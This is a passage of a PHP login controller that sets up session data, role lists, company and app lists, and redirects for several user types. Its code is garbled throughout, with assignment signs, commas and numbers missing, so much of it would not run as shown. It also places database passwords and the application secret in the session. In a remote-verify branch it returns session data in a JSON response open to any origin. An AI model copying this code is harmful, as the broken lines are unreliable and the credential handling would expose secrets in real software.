  2606.                     $filtered_pos_array = [];
  2607.                     foreach ($position_list_array as $defPos)
  2608.                         if ($defPos != '' && $defPos != 0)
  2609.                             $filtered_pos_array[] = $defPos;
  2610.                     $position_list_array $filtered_pos_array;
  2611.                     if (!empty($position_list_array))
  2612.                         $curr_position_id $position_list_array[0];
  2613.                     $userDefaultRoute $user->getDefaultRoute();
  2614. //                    $userDefaultRoute = 'MATHA';
  2615.                     $allModuleAccessFlag 1;
  2616.                     if ($userDefaultRoute == "" || $userDefaultRoute == null)
  2617.                         $userDefaultRoute '';
  2618. //                    $route_list_array = Position::getUserRouteArray($this->getDoctrine()->getManager(), $curr_position_id, $userId);
  2619.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  2620.                     if (isset($companyList[$userCompanyId])) {
  2621.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  2622.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  2623.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  2624.                         $company_locale $companyList[$userCompanyId]['locale'];
  2625.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  2626.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  2627.                     }
  2628.                     if ($allModuleAccessFlag == 1)
  2629.                         $prohibit_list_array = [];
  2630.                     else if ($curr_position_id != 0)
  2631.                         $prohibit_list_array Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $curr_position_id$user->getUserId());
  2632.                     $loginID $this->get('user_module')->addUserLoginLog(
  2633.                         $userId,
  2634.                         $request->server->get("REMOTE_ADDR"),
  2635.                         $curr_position_id
  2636.                     );
  2637.                     $appIdList json_decode($user->getUserAppIdList());
  2638.                     $branchIdList json_decode($user->getUserBranchIdList());
  2639.                     if ($branchIdList == null$branchIdList = [];
  2640.                     $branchId $user->getUserBranchId();
  2641.                     if ($appIdList == null$appIdList = [];
  2642. //
  2643. //                    if (!in_array($user->getUserAppId(), $appIdList))
  2644. //                        $appIdList[] = $user->getUserAppId();
  2645. //
  2646. //                    foreach ($appIdList as $currAppId) {
  2647. //                        if ($currAppId == $user->getUserAppId()) {
  2648. //
  2649. //                            foreach ($company_id_list as $index_company => $company_id) {
  2650. //                                $companyIdListByAppId[$currAppId][] = $currAppId . '_' . $company_id;
  2651. //                                $app_company_index = $currAppId . '_' . $company_id;
  2652. //                                $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  2653. //                                $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  2654. //                            }
  2655. //                        } else {
  2656. //
  2657. //                            $dataToConnect = System::changeDoctrineManagerByAppId(
  2658. //                                $this->getDoctrine()->getManager('company_group'),
  2659. //                                $gocEnabled,
  2660. //                                $currAppId
  2661. //                            );
  2662. //                            if (!empty($dataToConnect)) {
  2663. //                                $connector = $this->container->get('application_connector');
  2664. //                                $connector->resetConnection(
  2665. //                                    'default',
  2666. //                                    $dataToConnect['dbName'],
  2667. //                                    $dataToConnect['dbUser'],
  2668. //                                    $dataToConnect['dbPass'],
  2669. //                                    $dataToConnect['dbHost'],
  2670. //                                    $reset = true
  2671. //                                );
  2672. //                                $em = $this->getDoctrine()->getManager();
  2673. //
  2674. //                                $companyList = Company::getCompanyListWithImage($em);
  2675. //                                foreach ($companyList as $c => $dta) {
  2676. //                                    //                                $company_id_list[]=$c;
  2677. //                                    //                                $company_name_list[$c] = $companyList[$c]['name'];
  2678. //                                    //                                $company_image_list[$c] = $companyList[$c]['image'];
  2679. //                                    $companyIdListByAppId[$currAppId][] = $currAppId . '_' . $c;
  2680. //                                    $app_company_index = $currAppId . '_' . $c;
  2681. //                                    $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  2682. //                                    $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  2683. //                                }
  2684. //                            }
  2685. //                        }
  2686. //                    }
  2687.                 } else if ($userType == UserConstants::USER_TYPE_MANAGEMENT_USER) {
  2688.                     // General User
  2689.                     $employeeId 0;
  2690.                     $currentMonthHolidayList = [];
  2691.                     $currentHolidayCalendarId 0;
  2692.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  2693.                         ->findOneBy(
  2694.                             array(
  2695.                                 'userId' => $user->getUserId()
  2696.                             )
  2697.                         );
  2698.                     if ($employeeObj) {
  2699.                         $employeeId $employeeObj->getEmployeeId();
  2700.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  2701.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  2702.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  2703.                     }
  2704.                     $session->set(UserConstants::USER_EMPLOYEE_IDstrval($employeeId));
  2705.                     $session->set(UserConstants::USER_HOLIDAY_LIST_CURRENT_MONTHjson_encode($currentMonthHolidayList));
  2706.                     $session->set(UserConstants::USER_HOLIDAY_CALENDAR_ID$currentHolidayCalendarId);
  2707.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  2708.                     $session->set(UserConstants::USER_ID$user->getUserId());
  2709.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  2710.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_MANAGEMENT_USER);
  2711.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  2712.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  2713.                     $session->set(UserConstants::USER_NAME$user->getName());
  2714.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  2715.                     $session->set(UserConstants::USER_COMPANY_ID$user->getUserCompanyId());
  2716.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  2717.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  2718.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  2719.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  2720.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  2721.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  2722.                     $session->set(UserConstants::USER_APP_ID$user->getUserAppId());
  2723.                     $session->set(UserConstants::USER_POSITION_LIST$user->getPositionIds());
  2724.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG$user->getAllModuleAccessFlag());
  2725.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  2726.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  2727.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  2728.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2729.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2730.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2731.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2732.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2733.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  2734.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  2735.                     if (count(json_decode($user->getPositionIds(), true)) > 1) {
  2736.                         return $this->redirectToRoute("user_login_position");
  2737.                     } else {
  2738.                         $PL json_decode($user->getPositionIds(), true);
  2739.                         $route_list_array Position::getUserRouteArray($this->getDoctrine()->getManager(), $PL[0], $user->getUserId());
  2740.                         $session->set(UserConstants::USER_CURRENT_POSITION$PL[0]);
  2741.                         $loginID $this->get('user_module')->addUserLoginLog(
  2742.                             $session->get(UserConstants::USER_ID),
  2743.                             $request->server->get("REMOTE_ADDR"),
  2744.                             $PL[0]
  2745.                         );
  2746.                         $session->set(UserConstants::USER_LOGIN_ID$loginID);
  2747.                         //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  2748.                         $session->set(UserConstants::USER_GOC_ID$gocId);
  2749.                         $session->set(UserConstants::USER_DB_NAME$gocDbName);
  2750.                         $session->set(UserConstants::USER_DB_USER$gocDbUser);
  2751.                         $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  2752.                         $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  2753.                         $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  2754.                         $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  2755.                         $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  2756.                         $appIdList json_decode($user->getUserAppIdList());
  2757.                         if ($appIdList == null$appIdList = [];
  2758.                         $companyIdListByAppId = [];
  2759.                         $companyNameListByAppId = [];
  2760.                         $companyImageListByAppId = [];
  2761.                         if (!in_array($user->getUserAppId(), $appIdList))
  2762.                             $appIdList[] = $user->getUserAppId();
  2763.                         foreach ($appIdList as $currAppId) {
  2764.                             if ($currAppId == $user->getUserAppId()) {
  2765.                                 foreach ($company_id_list as $index_company => $company_id) {
  2766.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  2767.                                     $app_company_index $currAppId '_' $company_id;
  2768.                                     $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  2769.                                     $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  2770.                                 }
  2771.                             } else {
  2772.                                 $dataToConnect System::changeDoctrineManagerByAppId(
  2773.                                     $this->getDoctrine()->getManager('company_group'),
  2774.                                     $gocEnabled,
  2775.                                     $currAppId
  2776.                                 );
  2777.                                 if (!empty($dataToConnect)) {
  2778.                                     $connector $this->container->get('application_connector');
  2779.                                     $connector->resetConnection(
  2780.                                         'default',
  2781.                                         $dataToConnect['dbName'],
  2782.                                         $dataToConnect['dbUser'],
  2783.                                         $dataToConnect['dbPass'],
  2784.                                         $dataToConnect['dbHost'],
  2785.                                         $reset true
  2786.                                     );
  2787.                                     $em $this->getDoctrine()->getManager();
  2788.                                     $companyList Company::getCompanyListWithImage($em);
  2789.                                     foreach ($companyList as $c => $dta) {
  2790.                                         //                                $company_id_list[]=$c;
  2791.                                         //                                $company_name_list[$c] = $companyList[$c]['name'];
  2792.                                         //                                $company_image_list[$c] = $companyList[$c]['image'];
  2793.                                         $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  2794.                                         $app_company_index $currAppId '_' $c;
  2795.                                         $company_locale $companyList[$c]['locale'];
  2796.                                         $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  2797.                                         $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  2798.                                     }
  2799.                                 }
  2800.                             }
  2801.                         }
  2802.                         $session->set('appIdList'$appIdList);
  2803.                         $session->set('companyIdListByAppId'$companyIdListByAppId);
  2804.                         $session->set('companyNameListByAppId'$companyNameListByAppId);
  2805.                         $session->set('companyImageListByAppId'$companyImageListByAppId);
  2806.                         $branchIdList json_decode($user->getUserBranchIdList());
  2807.                         $branchId $user->getUserBranchId();
  2808.                         $session->set('branchIdList'$branchIdList);
  2809.                         $session->set('branchId'$branchId);
  2810.                         if ($user->getAllModuleAccessFlag() == 1)
  2811.                             $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  2812.                         else
  2813.                             $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0], $user->getUserId())));
  2814.                         $session_data = array(
  2815.                             UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  2816.                             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  2817.                             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  2818.                             'oAuthToken' => $session->get('oAuthToken'),
  2819.                             'locale' => $session->get('locale'),
  2820.                             'firebaseToken' => $session->get('firebaseToken'),
  2821.                             'token' => $session->get('token'),
  2822.                             'firstLogin' => $firstLogin,
  2823.                             'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  2824.                             'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  2825.                             UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  2826.                             UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  2827.                             UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  2828.                             UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  2829.                             UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  2830.                             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  2831.                             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  2832.                             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  2833.                             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  2834.                             'oAuthImage' => $session->get('oAuthImage'),
  2835.                             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  2836.                             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  2837.                             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  2838.                             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  2839.                             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  2840.                             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  2841.                             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  2842.                             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  2843.                             UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  2844.                             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  2845.                             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  2846.                             'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  2847.                             'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  2848.                             'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  2849.                             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  2850.                             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  2851.                             UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  2852.                             UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  2853.                             UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  2854.                             UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  2855.                             UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  2856.                             UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  2857.                             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  2858.                             //new
  2859.                             'appIdList' => $session->get('appIdList'),
  2860.                             'branchIdList' => $session->get('branchIdList'null),
  2861.                             'branchId' => $session->get('branchId'null),
  2862.                             'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  2863.                             'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  2864.                             'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  2865.                         );
  2866.                         $session_data $this->filterClientSessionData($session_data);
  2867.                         $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  2868.                         $session_data $tokenData['sessionData'];
  2869.                         $token $tokenData['token'];
  2870.                         $session->set('token'$token);
  2871.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  2872.                             $session->set('remoteVerified'1);
  2873.                             $response = new JsonResponse(array(
  2874.                                 'uid' => $session->get(UserConstants::USER_ID),
  2875.                                 'session' => $session,
  2876.                                 'token' => $token,
  2877.                                 'success' => true,
  2878.                                 'session_data' => $session_data,
  2879.                             ));
  2880.                             $response->headers->set('Access-Control-Allow-Origin''*');
  2881.                             return $response;
  2882.                         }
  2883.                         if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  2884.                             if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  2885.                                 if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  2886.                                     $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  2887.                                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  2888.                                     return $this->redirect($red);
  2889.                                 }
  2890.                             } else {
  2891.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  2892.                             }
  2893.                         } else if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  2894.                             return $this->redirectToRoute("dashboard");
  2895.                         else
  2896.                             return $this->redirectToRoute($user->getDefaultRoute());
  2897. //                        if ($request->server->has("HTTP_REFERER")) {
  2898. //                            if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != ''  && $request->server->get('HTTP_REFERER') != null) {
  2899. //                                return $this->redirect($request->request->get('HTTP_REFERER'));
  2900. //                            }
  2901. //                        }
  2902. //
  2903. //                        //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  2904. //                        if ($request->request->has('referer_path')) {
  2905. //                            if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '' && $request->request->get('referer_path') != null) {
  2906. //                                return $this->redirect($request->request->get('referer_path'));
  2907. //                            }
  2908. //                        }
  2909. //                        //                    if($request->request->has('gocId')
  2910. //
  2911. //                        if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  2912. //                            return $this->redirectToRoute("dashboard");
  2913. //                        else
  2914. //                            return $this->redirectToRoute($user->getDefaultRoute());
  2915.                     }
  2916.                 } else if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  2917.                     $applicantId $user->getApplicantId();
  2918.                     $userId $user->getApplicantId();
  2919.                     $globalId $user->getApplicantId();
  2920.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  2921.                     $isConsultant $user->getIsConsultant() == 0;
  2922.                     $isRetailer $user->getIsRetailer() == 0;
  2923.                     $retailerLevel $user->getRetailerLevel() == 0;
  2924.                     $adminLevel $user->getIsAdmin() == ? (($user->getAdminLevel() != null && $user->getAdminLevel() != 0) ? $user->getAdminLevel() : 1) : ($user->getIsModerator() == 0);
  2925.                     $isModerator $user->getIsModerator() == 0;
  2926.                     $isAdmin $user->getIsAdmin() == 0;
  2927.                     $userEmail $user->getOauthEmail();
  2928.                     $userImage $user->getImage();
  2929.                     $userFullName $user->getFirstName() . ' ' $user->getLastName();
  2930.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  2931.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  2932.                     $buddybeeBalance $user->getAccountBalance();
  2933.                     $buddybeeCoinBalance $user->getSessionCountBalance();
  2934.                     $userDefaultRoute 'applicant_dashboard';
  2935. //            $userAppIds = json_decode($user->getUserAppIds(), true);
  2936.                     $userAppIds = [];
  2937.                     $userSuspendedAppIds json_decode($user->getUserSuspendedAppIds(), true);
  2938.                     $userTypesByAppIds json_decode($user->getUserTypesByAppIds(), true);
  2939.                     if ($userAppIds == null$userAppIds = [];
  2940.                     if ($userSuspendedAppIds == null$userSuspendedAppIds = [];
  2941.                     if ($userTypesByAppIds == null$userTypesByAppIds = [];
  2942.                     foreach ($userTypesByAppIds as $aid => $accData)
  2943.                         if (in_array($aid$userSuspendedAppIds))
  2944.                             unset($userTypesByAppIds[$aid]);
  2945.                         else
  2946.                             $userAppIds[] = $aid;
  2947. //                    $userAppIds=array_diff($userAppIds,$userSuspendedAppIds);
  2948.                     if ($user->getOAuthEmail() == '' || $user->getOAuthEmail() == null$currRequiredPromptFields[] = 'email';
  2949.                     if ($user->getPhone() == '' || $user->getPhone() == null$currRequiredPromptFields[] = 'phone';
  2950.                     if ($user->getCurrentCountryId() == '' || $user->getCurrentCountryId() == null || $user->getCurrentCountryId() == 0$currRequiredPromptFields[] = 'currentCountryId';
  2951.                     if ($user->getPreferredConsultancyTopicCountryIds() == '' || $user->getPreferredConsultancyTopicCountryIds() == null || $user->getPreferredConsultancyTopicCountryIds() == '[]'$currRequiredPromptFields[] = 'preferredConsultancyTopicCountryIds';
  2952.                     if ($user->getIsConsultant() == && ($user->getPreferredTopicIdsAsConsultant() == '' || $user->getPreferredTopicIdsAsConsultant() == null || $user->getPreferredTopicIdsAsConsultant() == '[]')) $currRequiredPromptFields[] = 'preferredTopicIdsAsConsultant';
  2953.                     $loginID MiscActions::addEntityUserLoginLog(
  2954.                         $em_goc,
  2955.                         $userId,
  2956.                         $applicantId,
  2957.                         1,
  2958.                         $request->server->get("REMOTE_ADDR"),
  2959.                         0,
  2960.                         $request->request->get('deviceId'''),
  2961.                         $request->request->get('oAuthToken'''),
  2962.                         $request->request->get('oAuthType'''),
  2963.                         $request->request->get('locale'''),
  2964.                         $request->request->get('firebaseToken''')
  2965.                     );
  2966.                 } else if ($userType == UserConstants::USER_TYPE_GENERAL) {
  2967.                     // General User
  2968.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  2969.                         ->findOneBy(
  2970.                             array(
  2971.                                 'userId' => $user->getUserId()
  2972.                             )
  2973.                         );
  2974.                     if ($employeeObj) {
  2975.                         $employeeId $employeeObj->getEmployeeId();
  2976.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  2977.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  2978.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  2979.                     }
  2980.                     $currentTask $em->getRepository('ApplicationBundle\\Entity\\TaskLog')
  2981.                         ->findOneBy(
  2982.                             array(
  2983.                                 'userId' => $user->getUserId(),
  2984.                                 'workingStatus' => 1
  2985.                             )
  2986.                         );
  2987.                     if ($currentTask) {
  2988.                         $currentTaskId $currentTask->getId();
  2989.                         $currentPlanningItemId $currentTask->getPlanningItemId();
  2990.                     }
  2991.                     $userId $user->getUserId();
  2992.                     $userCompanyId 1;
  2993.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  2994.                     $userEmail $user->getEmail();
  2995.                     $userImage $user->getImage();
  2996.                     $userFullName $user->getName();
  2997.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  2998.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  2999.                     $position_list_array json_decode($user->getPositionIds(), true);
  3000.                     if ($position_list_array == null$position_list_array = [];
  3001.                     $filtered_pos_array = [];
  3002.                     foreach ($position_list_array as $defPos)
  3003.                         if ($defPos != '' && $defPos != 0)
  3004.                             $filtered_pos_array[] = $defPos;
  3005.                     $position_list_array $filtered_pos_array;
  3006.                     if (!empty($position_list_array))
  3007.                         foreach ($position_list_array as $defPos)
  3008.                             if ($defPos != '' && $defPos != && $curr_position_id == 0) {
  3009.                                 $curr_position_id $defPos;
  3010.                             }
  3011.                     $userDefaultRoute $user->getDefaultRoute();
  3012.                     $allModuleAccessFlag $user->getAllModuleAccessFlag() == 0;
  3013.                     if ($userDefaultRoute == "" || $userDefaultRoute == null)
  3014.                         $userDefaultRoute 'user_default_page';
  3015.                     $route_list_array Position::getUserRouteArray($this->getDoctrine()->getManager(), $curr_position_id$userId);
  3016.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  3017.                     if (isset($companyList[$userCompanyId])) {
  3018.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  3019.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  3020.                         $company_locale $companyList[$userCompanyId]['locale'];
  3021.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  3022.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  3023.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  3024.                     }
  3025.                     if ($allModuleAccessFlag == 1)
  3026.                         $prohibit_list_array = [];
  3027.                     else
  3028.                         $prohibit_list_array Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $curr_position_id$user->getUserId());
  3029.                     $loginID $this->get('user_module')->addUserLoginLog(
  3030.                         $userId,
  3031.                         $request->server->get("REMOTE_ADDR"),
  3032.                         $curr_position_id
  3033.                     );
  3034.                     $appIdList json_decode($user->getUserAppIdList());
  3035.                     $branchIdList json_decode($user->getUserBranchIdList());
  3036.                     if ($branchIdList == null$branchIdList = [];
  3037.                     $branchId $user->getUserBranchId();
  3038.                     if ($appIdList == null$appIdList = [];
  3039.                     if (!in_array($user->getUserAppId(), $appIdList))
  3040.                         $appIdList[] = $user->getUserAppId();
  3041.                     foreach ($appIdList as $currAppId) {
  3042.                         if ($currAppId == $user->getUserAppId()) {
  3043.                             foreach ($company_id_list as $index_company => $company_id) {
  3044.                                 $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  3045.                                 $app_company_index $currAppId '_' $company_id;
  3046.                                 $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  3047.                                 $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  3048.                             }
  3049.                         } else {
  3050.                             $dataToConnect System::changeDoctrineManagerByAppId(
  3051.                                 $this->getDoctrine()->getManager('company_group'),
  3052.                                 $gocEnabled,
  3053.                                 $currAppId
  3054.                             );
  3055.                             if (!empty($dataToConnect)) {
  3056.                                 $connector $this->container->get('application_connector');
  3057.                                 $connector->resetConnection(
  3058.                                     'default',
  3059.                                     $dataToConnect['dbName'],
  3060.                                     $dataToConnect['dbUser'],
  3061.                                     $dataToConnect['dbPass'],
  3062.                                     $dataToConnect['dbHost'],
  3063.                                     $reset true
  3064.                                 );
  3065.                                 $em $this->getDoctrine()->getManager();
  3066.                                 $companyList Company::getCompanyListWithImage($em);
  3067.                                 foreach ($companyList as $c => $dta) {
  3068.                                     //                                $company_id_list[]=$c;
  3069.                                     //                                $company_name_list[$c] = $companyList[$c]['name'];
  3070.                                     //                                $company_image_list[$c] = $companyList[$c]['image'];
  3071.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  3072.                                     $app_company_index $currAppId '_' $c;
  3073.                                     $company_locale $companyList[$c]['locale'];
  3074.                                     $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  3075.                                     $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  3076.                                 }
  3077.                             }
  3078.                         }
  3079.                     }
  3080.                     if (count($position_list_array) > 1) {
  3081.                         $userForcedRoute 'user_login_position';
  3082. //                        return $this->redirectToRoute("user_login_position");
  3083.                     } else {
  3084.                     }
  3085.                 } else {
  3086.                     $isEmailVerified 1;
  3087.                 }
  3088.                 if ($userType == UserConstants::USER_TYPE_APPLICANT ||
  3089.                     $userType == UserConstants::USER_TYPE_GENERAL ||
  3090.                     $userType == UserConstants::USER_TYPE_SYSTEM
  3091.                 ) {
  3092.                     $session_data = array(
  3093.                         UserConstants::USER_ID => $userId,
  3094.                         UserConstants::USER_EMPLOYEE_ID => $employeeId,
  3095.                         UserConstants::APPLICANT_ID => $applicantId,
  3096.                         UserConstants::USER_CURRENT_TASK_ID => $currentTaskId,
  3097.                         UserConstants::USER_CURRENT_PLANNING_ITEM_ID => $currentPlanningItemId,
  3098.                         UserConstants::USER_HOLIDAY_LIST_CURRENT_MONTH => json_encode($currentMonthHolidayList),
  3099.                         UserConstants::USER_HOLIDAY_CALENDAR_ID => $currentHolidayCalendarId,
  3100.                         UserConstants::SUPPLIER_ID => $supplierId,
  3101.                         UserConstants::CLIENT_ID => $clientId,
  3102.                         UserConstants::USER_TYPE => $userType,
  3103.                         UserConstants::USER_TYPE_NAME => UserConstants::$userTypeName[$userType],
  3104.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $lastSettingsUpdatedTs == null $lastSettingsUpdatedTs,
  3105.                         UserConstants::IS_CONSULTANT => $isConsultant,
  3106.                         UserConstants::IS_BUDDYBEE_RETAILER => $isRetailer,
  3107.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $retailerLevel,
  3108.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $adminLevel,
  3109.                         UserConstants::IS_BUDDYBEE_MODERATOR => $isModerator,
  3110.                         UserConstants::IS_BUDDYBEE_ADMIN => $isAdmin,
  3111.                         UserConstants::USER_COMPANY_LOCALE => $company_locale,
  3112.                         UserConstants::USER_EMAIL => $userEmail == null "" $userEmail,
  3113.                         UserConstants::USER_IMAGE => $userImage == null "" $userImage,
  3114.                         UserConstants::USER_NAME => $userFullName,
  3115.                         UserConstants::USER_DEFAULT_ROUTE => $userDefaultRoute,
  3116.                         UserConstants::USER_COMPANY_ID => $userCompanyId,
  3117.                         UserConstants::USER_COMPANY_ID_LIST => json_encode($company_id_list),
  3118.                         UserConstants::USER_COMPANY_NAME_LIST => json_encode($company_name_list),
